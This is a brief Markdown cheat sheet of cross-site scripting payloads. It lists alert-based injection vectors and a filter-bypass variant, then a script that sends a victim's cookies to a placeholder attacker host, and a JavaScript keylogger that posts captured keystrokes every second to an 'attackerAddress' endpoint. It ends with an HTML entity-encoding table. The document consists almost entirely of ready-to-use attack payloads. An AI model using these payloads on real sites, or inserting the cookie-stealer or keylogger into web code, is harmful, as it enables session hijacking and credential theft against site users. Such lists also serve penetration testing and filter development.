34 lines
981 B
Markdown
34 lines
981 B
Markdown
- Various XSS payloads
|
||
- `<img src='LINK' onmouseover="alert('xss')">`
|
||
- `<img src=x onerror=alert(1)>`
|
||
- `<img \x00src=x onerror="alert(1)">` - Possible filter bypass
|
||
- `<object data=javascript:alert(1)>`
|
||
- `<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>`
|
||
- `<image src="javascript:alert(1)">`
|
||
- `<body oninput=javascript:alert(1)><input autofocus>`
|
||
- Cookie Theft
|
||
- `<script>document.location='http://ip:port/?='+document.cookie;</script>`
|
||
|
||
- Keylogger
|
||
```HTML
|
||
<script>
|
||
var keys='';
|
||
document.onkeypress = function(e) {
|
||
get = window.event?event:e;
|
||
key = get.keyCode?get.keyCode:get.charCode;
|
||
key = String.fromCharCode(key);
|
||
keys+=key;
|
||
}
|
||
window.setInterval(function(){
|
||
new Image().src = 'http**s**://**attackerAddress**/**kl**.php?c='+keys;
|
||
keys = '';
|
||
}, 1000);
|
||
</script>
|
||
```
|
||
|
||
- HTML encoding
|
||
- < encoded to <
|
||
- > encoded to >
|
||
- ‘ encoded to '
|
||
- “ encoded to "
|
||
- & encoded to & |